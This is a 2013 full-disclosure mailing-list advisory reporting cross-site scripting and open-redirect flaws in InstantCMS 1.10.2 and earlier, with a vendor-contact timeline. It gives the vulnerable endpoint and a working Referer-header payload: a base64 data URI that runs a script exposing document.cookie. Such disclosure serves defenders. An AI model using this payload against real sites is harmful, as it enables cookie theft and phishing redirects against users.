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Message-ID: <00c601ceb478$84e5f020$9b7a6fd5@pc>
Date: Wed, 18 Sep 2013 17:08:02 +0300
From: "MustLive" <mustlive@...security.com.ua>
To: <submissions@...ketstormsecurity.org>, <full-disclosure@...ts.grok.org.uk>,
"1337 Exploit DataBase" <mr.inj3ct0r@...il.com>
Subject: XSS and Redirector vulnerabilities in InstantCMS
Hello list!
These are Cross-Site Scripting and Redirector vulnerabilities in InstantCMS.
-------------------------
Affected products:
-------------------------
Vulnerable are InstantCMS 1.10.2 and previous versions.
-------------------------
Affected vendors:
-------------------------
InstantSoft
http://www.instantcms.ru
----------
Details:
----------
Cross-Site Scripting (WASC-08):
GET request to http://site/modules/mod_template/set.php with setting Referer
header.
Referer:
data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpPC9zY3JpcHQ%2B
Redirector (URL Redirector Abuse) (WASC-38):
GET request to http://site/modules/mod_template/set.php with setting Referer
header.
Referer: http://websecurity.com.ua
------------
Timeline:
------------
2013.07.14 - found multiple vulnerabilities in InstantCMS 1.10.1.
2013.07.17 - announced at my site.
2013.07.19 - informed developers about first part of the vulnerabilities.
Ignored.
2013.07.31 - informed developers about another part of the vulnerabilities.
Answered, but refused to fix.
2013.08.02 - reminded developers about first letter with holes and explained
why to fix them.
2013.08.02 - developers released InstantCMS 1.10.2 without fixing any
informed vulnerabilities. Both above-mentioned holes work in it.
2013.09.17 - disclosed at my site (http://websecurity.com.ua/6661/).
Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua
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